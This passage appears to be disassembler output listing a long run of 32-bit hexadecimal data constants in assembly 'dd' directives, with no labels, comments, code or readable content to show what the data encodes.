		dd 416200C6h, 0BEFEDC88h, 9A381778h, 0C7FCD8B7h, 6763C4FBh
		dd 7BCF0A0h, 0AF240736h, 978E5FA7h, 82B485A3h, 60FAC358h
		dd 0DF2FD702h, 78682CEFh, 4964B668h, 4E893780h,	300DA37h
		dd 3572E433h, 0F091C75Fh, 0D2481226h, 0EAE4D193h, 5B2ED8A6h
		dd 0A15E647Ch, 0C7054044h, 19E354F4h, 61586DBFh, 0F03D2113h
		dd 0EC1D635Dh, 4A401AA4h, 0BEE661C6h, 0AD0A0916h, 9498D425h
		dd 1D0D39C0h, 0C1296B42h, 0B78AC0h, 2ABC3DDBh, 58DD873Fh
		dd 0B429720Fh, 0DAD460DFh, 0C02F6804h, 0AC2AB531h, 0D30730A0h
		dd 69CFE0FAh, 950CDF60h, 18F14C9Fh, 60018A39h, 0BFDBC0AEh
		dd 28B04CB5h, 756454Ch,	0E99BFB29h, 60A0F4E0h, 0AEC70092h
		dd 0B4B6D603h, 540B6ECCh, 0B3949EEFh, 1EC13878h, 38ADC33Ch
		dd 89255C80h, 0A438C186h, 0D4240C2Ah, 31EC3150h, 8A501744h
		dd 87703C9Eh, 3A50A0CBh, 8BE9F8h, 4DEC86F9h, 0B8AC5105h
		dd 4808694Ch, 0E0067FECh, 0E38C1525h, 90610FD8h, 0D383B4B0h
		dd 9007C60Ch, 47B59D3Fh, 0C3881019h, 765C0F6Dh,	22AB7AEh
		dd 4F7807C6h, 1229C0D5h, 982C646Ah, 0BF80D4B8h,	57486D4h
		dd 0D2F912A9h, 0EFB4209Dh, 0DE00C1E9h, 6160D06Eh, 0E7E9B05h
		dd 0EAD9659Fh, 1D4CC282h, 0EF00C859h, 909D39E6h, 0E3FF0788h
		dd 206437A5h, 25991647h, 0C47F1D24h, 4863DD61h,	3674D8h
		dd 90D6B7BAh, 5047C9D0h, 78D20226h, 0F7E5E033h,	1600805Ah
		dd 30985D5Eh, 9E00A7Bh,	8A8CFC08h, 1EDC9E5Ch, 34A20B06h
		dd 391EC898h, 0AE8BF907h, 68A0C93Ah, 1672A112h,	14EF2B78h
		dd 8A83EC4Ch, 0BBDDC9E8h, 80A290C3h, 0C4E0618Eh, 88687E60h
		dd 840E7B58h, 0E02C8A8Bh, 6E36800Ah, 7C2507CCh,	0A2987E91h
		dd 60C0F7A9h, 0B303573Fh, 11CC5DB6h, 98D658CBh,	5A3DC080h
		dd 2B03DBB0h, 0EF91A215h
		dd 36F00B0Dh, 200954FFh, 8DD42863h, 0A23DF01Ch,	0EB7AB400h
		dd 4F792EE4h, 15E5F053h, 0C471467Eh, 9ECE250Fh,	0FD83B7A0h
		dd 2007BEA2h, 0EEA5D966h, 61ED436Fh, 5A6DEAFAh,	5B941EC8h
		dd 6B41478Dh, 9D55C09Eh, 60073E9h, 1E1CBE9Ah, 1EBB534h
		dd 0D5C3F5A1h, 0E89F6C71h, 9E1647EFh, 0C009093Dh, 664C89B3h
		dd 198B12B0h, 103402AEh, 8C448F24h, 420034B0h, 31C0FC97h
		dd 80C823h, 7ACFB256h, 9B337FD5h, 71578E14h, 2EDD8398h
		dd 0F8A59B62h, 161ECFEAh, 303F799Fh, 91115124h,	89327B3Dh
		dd 0E84712CFh, 0DF3A1474h, 7D039F0Ch, 0BB53D903h, 6CBF02B5h
		dd 464A9061h, 4FB88842h, 0D0DE049h, 60B2003Fh, 7CB93A65h
		dd 8D0B9395h, 0C0DAAF23h, 2CBF6728h, 200AC1Eh, 225D0A62h
		dd 740044F1h, 0EAA476FEh, 0D7280E94h, 0BD00CA42h, 0BAA5B9FAh
		dd 0B44C1A00h, 0D3C96486h, 7C9226D5h, 7B4E1120h, 77136073h
		dd 400C6CBh, 0D5B8E386h, 4CDF4C84h, 14904C22h, 5B6E90A0h
		dd 656870E9h, 4314CC4Ch, 0D7200190h, 0DD6C87EAh, 8B80DC78h
		dd 0CB3880CFh, 9490474Ah, 0F29E9AEAh, 98E40432h, 0ACF769B7h
		dd 96FC80B8h, 0E5B9A52h, 37CB51F3h, 0EC463880h,	0EB05D46Fh
		dd 0C8532E3Ah, 1BC99002h, 5764419Eh, 9FEC422Ah,	5A07D431h
		dd 71ECEC3h, 0B9CC9E19h, 0ECDFE079h, 1F8898D3h,	0BBEE1D5Ch
		dd 0B9E9CF53h, 33192680h, 0C74802BFh, 0A6D28210h, 24608A55h
		dd 1800502Eh, 0E2A1113Ah, 0DC12456h, 72701B0h, 1BBCFD3h
		dd 7088B216h, 679670A7h, 7D6888D0h, 90490044h, 0B552BA9h
		dd 0D3014CB5h, 0B7CD32FEh, 4C6269E9h, 0B3C19400h, 2D73A6ECh
		dd 86903500h, 1A0F544h,	0A18E0455h, 0A8C153C5h,	30838BC8h
		dd 5C17E82Ch, 0DC0340Fh, 0A4A0D872h, 6E908E00h,	1B9D76FDh
		dd 0E71204B4h, 0F195805Fh, 8202F00h, 0E08BF447h, 0B12F76ACh
		dd 113880D4h, 6E29C292h, 465BFA01h, 71764264h, 68093829h
		dd 6507BC59h, 0DC250050h, 2E00C3A2h, 71F0A569h,	24AF5832h
		dd 34E202h, 11D7CEF7h, 8E017251h, 14BC678Fh, 0B86C1F0Ah
		dd 6294B680h, 1D166448h, 0D41D2A3Dh, 2D08C940h,	9698D201h
		dd 40BF93F8h, 992FCE7Ch, 19C07F40h, 0BFA0315h, 2EBC006Dh
		dd 0E36375DCh, 7906D206h, 1CDBD3EBh, 0FC0E5348h, 0B5B76509h
		dd 649020D0h, 29708088h, 46DD4500h, 9FCD8372h, 0F2F2A6h
		dd 0BD0CBAEEh, 3CA1EAE9h, 48FD0490h, 9E021928h,	94C3F064h
		dd 52BCC276h, 0B5E60088h, 0E0F795A3h, 0D016ED46h, 4C06451Dh
		dd 4850EC04h, 402CCC5Dh, 0A8F440CCh, 661DB8E1h,	0C4C5D969h
		dd 8880C554h, 0BA5BB60h, 0B7E1EC80h, 2C57F082h,	8080E429h
		dd 3A7DC0h, 0FE3798CEh,	0FD779F39h, 0B0468D2Ch,	14228A16h
		dd 2730FA71h, 31D64172h, 3BF7AF02h, 841060BCh, 675F26FDh
		dd 0C79C4154h, 0B9B0ECA2h, 0C34E1E00h, 27120CC8h, 90A37D48h
		dd 318445Ch, 3280D350h,	41C06D7Ch, 9FAAF8DAh, 0F7FE07A1h
		dd 53986AC3h, 0C04B6EF4h, 7125BC02h, 628CC001h,	9E11017Ch
		dd 0A8172A3Ch, 0F4002197h, 820079FEh, 30E8C161h, 0F026D89Fh
		dd 0E1AC3F7Ah, 968F6E01h, 0CC48F60Fh, 854A25E6h, 0A6322C30h
		dd 0E0E3603Ah, 0BF11F659h, 4565C902h, 890B13CCh, 4C71ACh
		dd 4A8763CDh, 0DA00E090h, 84991E81h, 26B3578h, 620A2515h
		dd 0C84603E5h, 46894F00h, 247FEC76h, 0A05D7566h, 2DB2D984h
		dd 3013C953h, 0A7DF00Ch, 0C419872h, 206BED64h, 60000821h
		dd 33A718DFh, 2D3B6370h, 0C8905182h, 3D0055C6h,	91EA9279h
		dd 69AC0Fh, 28CF75BAh, 0E221B0DFh, 47E60112h, 1BE39420h
		dd 8FC50011h, 60CE2B06h, 0E701AC49h, 93AFEC27h,	0A02C5CDBh
		dd 8ECFB4C2h, 775A9487h, 98988BFBh, 0C5004B24h,	0B219CCC6h
		dd 1E95ADA3h, 0D21DDAFCh, 0D9AC0444h, 0D1B480BCh, 0E72458FBh
		dd 0C1085819h, 496E851Ah, 0A9CA474h, 0E242DCF3h, 89DC9000h
		dd 0A302E1B6h, 59C8A288h, 0E31E0724h, 7BC910BCh, 39001B4Bh
		dd 0E975EAF6h, 90B8048Ch, 0AF5F121Ch, 0F43889A9h, 80008EB1h
		dd 0AC740AE8h, 53C9B62h, 56FFA768h, 6C25C0E0h, 0C63ECED6h
		dd 86726C7h, 9E202540h,	8CF676h, 524D215h, 561448B1h, 69E01050h
		dd 171D3920h, 60BA4347h, 0C9B8B210h, 42447F00h,	7C3F175Bh
		dd 1AA801DFh, 7D23AA61h, 0BAB1E47Eh, 90271091h,	39EBAC0Ch
		dd 0FA801487h, 78257029h, 2C009CDBh, 83C426DFh,	0FC91D53Ch
		dd 1680E8B5h, 0C85017D1h, 0D2077244h, 0BD23842Eh, 0A177D740h
		dd 34A612EBh, 0D12CA015h, 0A805FC05h, 88671Bh, 0DE7214B9h
		dd 9A018D14h, 88854909h, 2A0BB4Eh, 1B32016h, 40E45647h
		dd 5215D5D0h, 0E79FB501h, 5827F9DCh, 3DFCE860h,	250BF6D8h
		dd 8044478Dh, 10E74498h, 3BD090h, 16F0B723h, 0E8C3BDF2h
		dd 71E93F17h, 0A5397008h, 6A0044C4h, 0C67735EEh, 0EDB416h
		dd 4F17603h, 0C9EA6D99h, 7DB88B0Bh, 1D301906h, 787A3CD8h
		dd 2E090062h, 81C6FADDh, 99E686BEh, 0FBB2680Bh,	729C686Bh
		dd 0F93C3E1Eh, 0F6E4F780h, 0B15D362Fh, 50385809h, 0C2D01168h
		dd 62A07DCh, 96EC16B5h,	0E50E923Dh, 449312B1h, 0C800187h
		dd 2C315EAh, 1E31D1EDh,	98719BD2h, 409DC910h, 0D7EC134Bh
		dd 0EE09B20Ch, 58F89D82h, 14D88834h, 0ED570A1Eh, 13EF38D7h
		dd 6998CC92h, 0ECF7A917h, 0CD17F003h, 8A87A196h, 0A43460E2h
		dd 44F92D26h, 6D58440h,	0BE01B872h, 1525FD4Fh, 1CF8BD84h
		dd 0CEB418C8h, 0DD42B8E7h, 16BF5B1Fh, 0D94D5502h, 0B45191h
		dd 49A906A2h, 6C4BF865h, 0C0F97093h, 630748h, 3B624C29h
		dd 0B0992DB3h, 94ACEF00h, 0C6A383F3h, 0D9C102ECh, 6D4B603Eh
		dd 0DC0058D9h, 8040D726h, 5E700C6h, 0D5BE392Fh,	0BF4E495Dh
		dd 12B5888h, 17F8AE4Ch,	70B4E1C3h, 278823B0h, 97F00A8h
		dd 55BDEC4h, 310030F4h,	0B8F2142Ch, 14D54C9Ch, 0C446D66Ah
		dd 3F63B080h, 8B1470ECh, 0BA822B1h, 44E5B262h, 367E009Ch
		dd 0EC8E1D2Ah, 6B5F678Ch, 2DCF8040h, 4F546FDh, 2461AA33h
		dd 53CCA48Bh, 178862FFh, 0C0206CB7h, 17F0DACCh,	127C5392h
		dd 5ADCB095h, 174099F0h, 0E8D98A43h, 8DDD3000h,	0F9790Dh
		dd 32E80FBDh, 5807B951h, 0A1EDB30Ch, 0FED9485Eh, 8E35CC6h
		dd 0DC2907C0h, 109893Eh, 589DF88Bh, 22C89040h, 246019CAh
		dd 5B0CD2DEh, 0BD7809ECh, 28005F86h, 0B86F82D4h, 4ED3021Bh
		dd 5D700099h, 864310CCh, 0D0009D8Eh, 0BD718F2Dh, 24C19BB2h
		dd 0FF8C2A1h, 0C98586DFh, 8070AC46h, 0A8D6EF6Eh, 0E2353C3Bh
		dd 576900FDh, 225E441h,	620E2F5Eh, 46EC6B9Eh, 38B0048Ah
		dd 91898648h, 10C48E24h, 78B0B801h, 5A4FC304h, 9B808C6Ch
		dd 0AF837D9Ah, 0CD635002h, 7EE4D593h, 13CA629Ch, 221E8084h
		dd 5814E486h, 6C012403h, 98258994h, 0C0E84851h,	7F0798ACh
		dd 0C5E0D2EDh, 2C7A9333h, 61584441h, 0F0F71150h, 0FE007427h
		dd 973F6163h, 2CCD848h,	25E53E4Ah, 0A8875B1Dh, 2870F953h
		dd 791D15FCh, 0D8408C8Fh, 0F0BA1648h, 0D2961324h, 67E092A7h
		dd 6000ACE4h, 0C264C3E9h, 0FA91F185h, 0F92805DDh, 0E20A8FB0h
		dd 784E1D28h, 0C4900B01h, 1C308566h, 0BDAB1713h, 24143138h
		dd 0F93D6075h, 9FC56100h, 201D4D37h, 0FF9D3FA0h, 5657B681h
		dd 3368B2DAh, 497E00B4h, 2B80C194h, 308A00E2h, 0B0ECE0F8h
		dd 9512771Ch, 0A830544Ch, 83EB80h, 7B5BD7CEh, 0B1687CF6h
		dd 1F66E8A0h
		dd 80C0024Eh, 0BB7AD91h, 0A4D3ECBFh, 4013844h, 9A02D6E3h
		dd 0A2E31D0Ah, 91C88721h, 77EC8399h, 8B1CA0E6h,	87B809E1h
		dd 74879D84h, 0F0BFC566h, 6E4C4C50h, 0B4ED03B0h, 0E543E35Dh
		dd 0CA26DC30h, 444D0006h, 46A7622Ch, 7F02CFEBh,	0DFE43EC3h
		dd 95B0D09Ah, 0DCBEE810h, 0F984F400h, 0BFC3D845h, 2DFC3Ah
		dd 0D3D9217Bh, 0C853370Ch, 8F647C9Eh, 22B438C3h, 20931818h
		dd 0BE89C390h, 1500D4D9h, 55DF3E9Eh, 27190770h,	0B79FA0ADh
		dd 4099E00Eh, 54B1CE53h, 9B02BF02h, 5B8C828Dh, 40F8D6E0h
		dd 0B6268BB0h, 0B23CD80Eh, 43FC00Fh, 74C0A9h, 0D716ED0Bh
		dd 97B3597Fh, 6C405E2Eh, 80AADD40h, 0D62F0356h,	47B462E1h
		dd 9F3178B8h, 9639CA05h, 0BCE20B0Eh, 0F377CD0Eh, 0A55FB000h
		dd 6A0E2F36h, 0E0A299ECh, 1C5C653h, 23A16B3h, 0D5D4A5D2h
		dd 0C8226A9Ch, 35C010D8h, 0DC305B0Eh, 90B2935Dh, 0EC591800h
		dd 8BE7D208h, 404C3E7Eh, 337D8080h, 1691CD60h, 0F0CA8C88h
		dd 0B22FD81Ch, 8A181002h, 41AC005Eh, 0B16A04D9h, 3F38F32Dh
		dd 0D3408E42h, 80B2B30Bh, 4C74AA07h, 60E1000Dh,	2001A164h
		dd 0FDFE6D72h, 203E1B99h, 82C86AD0h, 502A3E00h,	8B3CEE86h
		dd 0DD330B5Ah, 0FC738C24h, 69E76E02h, 0E6C4201Ch, 0C6F6FE2Ch
		dd 6C88325Ah, 0F81A00AFh, 36BC6109h, 311E6933h,	0D1C13F35h
		dd 0B4884DB5h, 0FE0550BFh, 8089B980h, 0B2BED8D3h, 914070BCh
		dd 2155EECh, 0B5497360h, 92604205h, 243F22DDh, 4C0C8CDh
		dd 0B777F77Ch, 5F0EA104h, 0A02F7200h, 12EAE9CAh, 0C0F135D0h
		dd 0BEF6CED8h, 2036130Bh, 89AC4846h, 828D0038h,	853342DCh
		dd 5448B5FCh, 0A8B97148h, 81C07E80h, 3CC34751h,	2F13641Ah
		dd 0EE60A053h, 10608577h, 42F247D8h, 82252D9Ah,	0D5F08013h
		dd 9E5AEC97h, 0D018E080h, 0FCE453h, 1089152Ah, 829A4C8Ah
		dd 645CA100h, 67A5D7E3h, 8F5F0FD6h, 6A003087h, 0B503E011h
		dd 0FFF1A600h, 76BE174Eh, 946E008Fh, 781ACD83h,	5E04D4BFh
		dd 0E39F70F9h, 613EEC82h, 0F1102704h, 0C20F085Dh, 9334C4D5h
		dd 0F900B8A2h, 4DFCB205h, 0BE1E645Ah, 0CE879D07h, 0D5871C92h
		dd 832540B0h, 0A06726D4h, 0C47C0960h, 0D0E174E4h, 0AB3A99EDh
		dd 9E7400DDh, 0AF2547F7h, 0E9D703F8h, 286BB2A0h, 0E7E08901h
		dd 0E6AA6A2Ah, 1A64FC4h, 47D1ABA5h, 0EC7A2032h,	0C30B5191h
		dd 0C1FF2FEAh, 64607CBCh, 7411880Fh, 60A8109Fh,	1EC00FCh
		dd 0B8CF1618h, 0EB3A12BEh, 60B5A6E9h, 61240BEBh, 9819488h
		dd 0D1D6ED93h, 6C82C4B3h, 0DB803896h, 0D724283Dh, 0B4E400EAh
		dd 5E57C1EFh, 0F300BAFFh, 0D181A302h, 5CA174E1h, 6502CC28h
		dd 55533203h, 6D164321h, 3794029h, 518DB667h, 0E3885F14h
		dd 0E4E52E06h, 6D04FE13h, 0AAF1A2D0h, 0BA87D4ACh, 7024C0A3h
		dd 0E300745Ch, 503E309Fh, 0DE4975h, 67BBA5B4h, 17BE98C7h
		dd 0D08FC830h, 2DDC087h, 0B95FC1A1h, 30D9CB02h,	1082A511h
		dd 0C4F68524h, 5C445745h, 58B8CD1Ah, 4403380h, 820E26FEh
		dd 8036D619h, 0CB5752C8h, 0B06209CCh, 88005986h, 0BD79D23Eh
		dd 835B1377h, 0EA6450C1h, 0F5C47300h, 9F12CF79h, 6CC849CDh
		dd 27B1005Ch, 5DEA4F9Bh, 0CC004684h, 2CA55775h,	8A2F68D4h
		dd 0DDCBC07Fh, 0C7530E9Ah, 0E6A0D645h, 5E6FFA3Bh, 16B00C07h
		dd 77F0CC61h, 3008C79Fh, 0C59842DDh, 0C81486EEh, 9F8FB93h
		dd 20993474h, 1230C0E0h, 5728CA8Ch, 0C18426E0h,	85DA2372h
		dd 39C168C0h, 92289408h, 0CE74D047h, 5B010ADBh,	22FB9F1Dh
		dd 0D940E3B2h, 26E64814h, 0BEC4602h, 8C906C31h,	1CE4D14Eh
		dd 0E4835C00h, 0ACB03616h, 0AA5F1749h, 86A0338Dh, 9A4D3CB8h
		dd 550ABC00h, 0AF76D590h, 692700CDh, 6E22FC17h,	1E2CCCBEh
		dd 424A834h, 496C7780h,	4AE0151Bh, 4E88925h, 0C2878484h
		dd 6E251CE0h, 259818C1h, 808871CAh, 2360D5DEh, 8B18E24h
		dd 8735A300h, 3CE0E6D3h, 46065AA2h, 68F149F2h, 9082152Ch
		dd 7C1C4438h, 0AE6A3052h, 612DA50h, 0AC910104h,	4C004A71h
		dd 679F9B79h, 1B5AFF09h, 35D88161h, 2020C3DEh, 0B10B0F94h
		dd 73E0FE1Dh, 2BC053F9h, 444C0A4h, 45F10CF0h, 84C02D5Ch
		dd 59E0E401h, 7FA08B67h, 782C8DCDh, 0A4EBB1C0h,	574B8093h
		dd 0F0834C0Bh, 0E0CA49F8h, 0D8844289h, 7E048071h, 0CCBC524Bh
		dd 63152404h, 0A7A32487h, 6920027Ch, 0D502C301h, 744788DCh
		dd 69E25D22h, 0CC3C8244h, 4AB7601h, 7A99D3E9h, 0E0577821h
		dd 7205143Ch, 0FC017E41h, 0E8D18014h, 5B59E80h,	3B844202h
		dd 90B29Dh, 0D63DEF52h,	30A00D26h, 949090DEh, 90BD33F1h
		dd 0A7B1874h, 298A0B25h, 484111E8h, 4B27C038h, 3880BA74h
		dd 9D011826h, 2E84B883h, 16C0F4A4h, 0C842C707h,	0DA91D0EDh
		dd 316F4957h, 344D5600h, 6E139F04h, 0C50BE379h,	0E49C9071h
		dd 63E639h, 8E8AC71Eh, 3B7F2E4Eh, 258E548h, 11222896h
		dd 48F9D7h, 8A570402h, 87008348h, 65CC352Ah, 319F33Eh
		dd 0C598B772h, 0E28CBD09h, 0FB58F4h, 0C8AD14C0h, 9D04B28Ah
		dd 0F0992287h, 6FAAD50Ch, 0EC500317h, 0CB9B1001h, 846247E0h
		dd 4809638h, 2C52E4BCh,	0AB1CDA69h, 0A3458DCBh,	0FCC940E8h
		dd 0BE2C220h, 68941CB7h, 0CDAA8098h, 0A6028100h, 52541A0h
		dd 58760E12h, 0AD625293h, 5CC6FEBCh, 82202339h,	0A230BEA9h
		dd 0CF4C40F4h, 12BD3C65h, 8B24418Bh, 0E092EC59h, 4D75C0B3h
		dd 8A81E8A0h, 113E8025h, 6010D071h, 98002202h, 2FD6A57Bh
		dd 3DC629CAh, 0B88EB50Dh, 263BC0Bh, 314ADACFh, 3F1514C8h
		dd 8D80668Eh, 3AB41BD2h, 411E0D5Bh, 12BB0F02h, 6C0F20A2h
		dd 0DFA0D9E5h, 280C092h, 0C15C67DCh, 6B8B7840h,	0EF2880E5h
		dd 1BCABC1Dh, 80F8B909h, 24F5E098h, 0E2008978h,	0F6F18E2Ah
		dd 266C917h, 0B0FE1FF2h, 0B4987A25h, 0B9006C53h, 0DF991679h
		dd 0EB9301h, 0AF509F03h, 87B4413Bh, 4EC07800h, 565CDDE4h
		dd 0DCCB2805h, 332F4470h, 850AB200h, 55E071C9h,	0F78C1D3Ch
		dd 4D01C004h, 9B800CACh, 73013894h, 5DBA338Ah, 1CF5730h
		dd 0B0EBC9D7h, 3A6F64D2h, 0F1DF5820h, 12C7004Eh, 0A54C3E1Bh
		dd 52000A59h, 63FDF78Ah, 16B17C17h, 8E9DBCh, 9E3C0BDCh
		dd 5738E8CBh, 7A9F012Eh, 78DD1548h, 252Eh, 0AC66F7D2h
		dd 64030F89h, 0D7CD2C1Ch, 0E129F371h, 202BF9B7h, 0E9098494h
		dd 56551801h, 8F25E306h, 204A703Dh, 0FF728600h,	8A14007h
		dd 0CB10D64Dh, 7EB483BAh, 0E38116B8h, 0EA0C00BFh, 0C06CA2D7h
		dd 56FDE200h, 9B058FB6h, 0B589865h, 0B77CB2A6h,	87630C00h
		dd 9E027817h, 75F85114h, 3EB06007h, 0D23D0B1Ch,	0E0C40AA1h
		dd 9A4164Ch, 0E414E07Ch, 312700C0h, 0C10453DFh,	0B03F3570h
		dd 0FC80003Bh, 1EAECF85h, 166901D5h, 0E18C27D8h, 80D42802h
		dd 3031D76Fh, 1B6A00FBh, 0D46CA377h, 0C613A17Ch, 3C89CA53h
		dd 2E86FECh, 0E0113C33h, 48C6496Eh, 0FE7D2DF6h,	0CFAD5918h
		dd 0B6EE9C0h, 0C6D4D3E1h, 0CBA09C82h, 203568C1h, 0BF5C1D78h
		dd 3C4122B4h, 0A312B29Dh, 1AE0B071h, 1061DF2Fh,	11F74Ch
		dd 2181387Ah, 15E21BC4h, 6BC9EC1Dh, 97F00843h, 204B8A6Ch
		dd 9215D00Eh, 574A1402h, 0E099035Bh, 4FD289F4h,	6790929Dh
		dd 9CB71880h, 61130103h, 0CC88A82Dh, 77C100CFh,	95361023h
		dd 0D90D7BCEh, 21448624h, 6CA4202Ah, 0C40EDC77h, 0C061F58Ah
		dd 0FB0ACA42h, 6E1A1EC3h
		dd 0E589C04Dh, 587F8AC9h, 0D73D1507h, 0E42F28FCh, 0CCB9D505h
		dd 5BFF850Eh, 6DB8E7C2h, 24E04480h, 6B009B88h, 98F07E2Dh
		dd 5AB66F32h, 83E80202h, 84C0274Eh, 4D4F2276h, 8C574C80h
		dd 0B9E30D2h, 0BD928FF1h, 78A5016h, 386084B3h, 9EF4B373h
		dd 1D247409h, 0CDF81861h, 7FD40793h, 576911FFh,	0DCF4C0B5h
		dd 7001D229h, 4D88D5C3h, 0A8305C20h, 0D30C0246h, 0FCA2BBEEh
		dd 56CFC80h, 0B75013A3h, 0D7068AF0h, 7798E3D3h,	0A0650130h
		dd 0A182EE3Bh, 17787466h, 0CE2D7F76h, 2346491h,	0A19BACAEh
		dd 0C0F68182h, 52C08640h, 966D0001h, 9AE96441h,	3E01B90h
		dd 0C8079503h, 9475023Bh, 54593C87h, 8737C010h,	0C0B447C6h
		dd 40620780h, 0DD133Bh,	819D9F75h, 0F91BD5F5h, 7595A02h
		dd 5F09AE2Eh, 1F3BA760h, 0CD29D02h, 63B86164h, 4B9CE987h
		dd 0D2C468B9h, 98CCA55Bh, 20A04ED3h, 0D1738FBCh, 52090FE0h
		dd 82F31B25h, 2449983Ch, 8710AC5Dh, 0E6C0018Dh,	1D0C12C0h
		dd 40AF537Eh, 935CE474h, 3476361Ch, 20C88FB7h, 0BE9FD47Ch
		dd 977ED9h, 0A47E6C0Ah,	0BA8710C9h, 44D0B725h, 0A127006Ch
		dd 0C30AC27Bh, 0FE1EA62Fh, 0F65D1282h, 1CC70FDCh, 0A72068D4h
		dd 0A68C4D6Ah, 9062C7C0h, 376580F8h, 0D93D8A70h, 88CB8089h
		dd 0AB295FFCh, 94334884h, 0C89DD0C0h, 0BF00D535h, 43D0A2Ah
		dd 707EB8Ah, 9E8308E1h,	0C853B1D0h, 48226F24h, 62C9204Eh
		dd 0FB2F7980h, 0ECA8E0FCh, 0EE2EFA6Ch, 52057923h, 0D20AF04Fh
		dd 7D0CD22h, 7B55533Bh,	0CE6FA044h, 15BD0451h, 1DE5B0F0h
		dd 0C191497Dh, 0AD9BA4EBh, 258ECC02h, 0EC30874Fh, 0C0446447h
		dd 15CF3758h, 8F7C86BDh, 54ED4101h, 0CD02943Ch,	2860AC79h
		dd 0D786EECAh, 78CF0E00h, 578ED4BDh, 17498CDh, 0EE0C0760h
		dd 2E345B85h, 4824508Ch, 0EDC10482h, 8109E5D6h,	1773CFA1h
		dd 85C5D01Ch, 622C30h, 0C907E9Fh, 45DB16BDh, 412F1DE8h
		dd 4C5CC41Bh, 7900CACBh, 0B1ED9465h, 860BF91Ah,	0DA29A2h
		dd 83ADE366h, 84109D1Eh, 773208CAh, 0E0A1BCD8h,	43E87FEh
		dd 22BD5E50h, 8120A840h, 0E6164BD5h, 0B8C29DDFh, 40182BDDh
		dd 0D000220Ah, 661D2A8Fh, 1D7DF9CCh, 15EA37Eh, 2343379h
		dd 0D022C9h, 14D609B9h,	4E619FD1h, 3B44C894h, 76489900h
		dd 0A65E441Ah, 0C78100E4h, 54CF1307h, 6B087815h, 4B852AFh
		dd 64ACA08Bh, 0E0A002ABh, 0B0908525h, 3B16C368h, 0F4207450h
		dd 0AE277Ch, 3C83B915h,	7612C9Ah, 0D18EE300h, 6EC7BA3Dh
		dd 19D228B2h, 38379E8h,	0C35C87CDh, 702218E2h, 47464B22h
		dd 722D23ECh, 7C5E39E5h, 0F9503F09h, 91BA008Ch,	1D730495h
		dd 9913FC00h, 80CAC235h, 56D14A05h, 0BF1C8834h,	0DD04FDFAh
		dd 0FA816E3Ah, 1D5C46C0h, 91C30027h, 0FFB52E41h, 0B7268BB9h
		dd 5B0EB9A2h, 5FA18128h, 3C40CE53h, 0BE9500Dh, 0D8024857h
		dd 0B6BEC810h, 9C906C4Bh, 9AB887h, 0EE26DFE2h, 9B584CA8h
		dd 0C3161A7Ch, 0D430A1EAh, 0EF9E3404h, 2815E0F6h, 0D4442F10h
		dd 22079466h, 8F4F1588h, 639FC0BEh, 9DF12B2h, 0E092785Ah
		dd 0D10010E4h, 0F061651Eh, 2530BA53h, 0E0A3D302h, 0A8ED0CE3h
		dd 7E261484h, 44834CE8h, 1679C9E8h, 2B16C1E0h, 6CF1C6A0h
		dd 98800843h, 928ED20Dh, 8D6B1610h, 8BF88C6Ah, 70C66000h
		dd 0E7161DDAh, 3BD92C98h, 536D0518h, 8AC0C263h,	80393471h
		dd 0BDA28C77h, 46D198Eh, 8253E4AFh, 894A8E0h, 81CF02E3h
		dd 0DE75B84Ch, 0EC243EC7h, 0A28A6480h, 54189D45h, 9C006C92h
		dd 0A96ED1AEh, 56F7E58h, 0EFE09A28h, 0B1A0C1BEh, 4613D0BDh
		dd 5E8000BEh, 8DD30936h, 73C02D2h, 85490C35h, 0ACD803C3h
		dd 0D709A2EBh, 71CC02A3h, 0E1E11754h, 8C8D2EA4h, 2601E2Eh
		dd 2E377E96h, 0F444450h, 687B2799h, 0C0A884A0h,	5C12E093h
		dd 84C8D5E5h, 9BF5002Fh, 34E5EECh, 4A02BED3h, 88C483FCh
		dd 80DEE1BAh, 0B128D82Ah, 0B598F700h, 3AC37786h, 8003974Fh
		dd 80BC4716h, 0D2547BB4h, 0C953B413h, 0C60020F2h, 0EA16B8E4h
		dd 0BF3391E9h, 3CB59086h, 0E84C65D8h, 8CB2816h,	0C08E4DCCh
		dd 0BAB621DEh, 0D842EF22h, 63084036h, 64F908DFh, 888F1268h
		dd 2AB5A137h, 207EC905h, 6B4B86Ch, 305C94A1h, 0D512B1C0h
		dd 0F830D228h, 5EEB0Ch,	476187ADh, 636A12BDh, 0E95890BFh
		dd 773B01D1h, 38882FBBh, 238470B6h, 0C0A8AB48h,	98FC6DB2h
		dd 1AF027Eh, 79DE437Dh,	3D48DCh, 0F2D2E354h, 4512DDFh
		dd 0C673A6EAh, 22A4FCB4h, 5E20F901h, 521E5C4Fh,	74DDBE28h
		dd 91205E2h, 0F1370382h, 0E4202EA0h, 2A4744h, 342B18BFh
		dd 92B7F6D1h, 0EA6D6A18h, 9E3538h, 0AE7ED4B1h, 56457053h
		dd 66A040F7h, 0ECA31FE8h, 0A8853CFAh, 0F5B309CCh, 0AFA6742Eh
		dd 31057050h, 464794D5h, 900754EDh, 2329F7F6h, 87B06A36h
		dd 0DB00F878h, 244ECA5h, 9E0E9A8h, 0CB53AB08h, 5967187Ch
		dd 1E24F1CBh, 0AD0D0787h, 90C8E423h, 52613F4h, 0D1EAE905h
		dd 0D4B20F02h, 2DF7A507h, 869EF0E1h, 600CC04h, 0A41259DBh
		dd 0BFB047FAh, 50A20002h, 1B046058h, 5C0CD3DFh,	608874B0h
		dd 48D08C5h, 8F028582h,	0CD12F48Ch, 0E4DCC0EFh,	2438A8F8h
		dd 324F00C5h, 0D8C74522h, 9A3A471Bh, 1088A797h,	717D2F0h
		dd 0CC0CF5D6h, 9BE9D0AEh, 0C801C487h, 5304D9A5h, 216ABC17h
		dd 0E83103E8h, 0BE00E69Ah, 0B6CAA41Dh, 4B8EA1EBh, 55B4C866h
		dd 0B5928A00h, 0CAD7ED37h, 0D1E2007Ah, 58737C0Dh, 8809C9EAh
		dd 68743E48h, 8BAFECh, 6FCFB2DBh, 0B494A09Bh, 4487862Ch
		dd 5202E560h, 714D007Eh, 0CADB8D31h, 0F80B0AA2h, 83D1D5EFh
		dd 0B0E69905h, 24463283h, 40346726h, 0FE8D92CAh, 0C231DC03h
		dd 12DA957Bh, 0BC1DE928h, 0F3DB8F70h, 0C80E9D02h, 430456AEh
		dd 0D8E0919Ah, 0A005CDE1h, 0E56413A1h, 90A2F800h, 91D0057Eh
		dd 0E9E281F8h, 28E81F4h, 6224FEC8h, 0B8E20A3Ch,	3513F4CCh
		dd 14007997h, 75284120h, 0D21281BDh, 0F6E7D440h, 0D1D3A301h
		dd 0DD56DAC4h, 88D7F430h, 0BC969BD2h, 720C7140h, 0B148096Ch
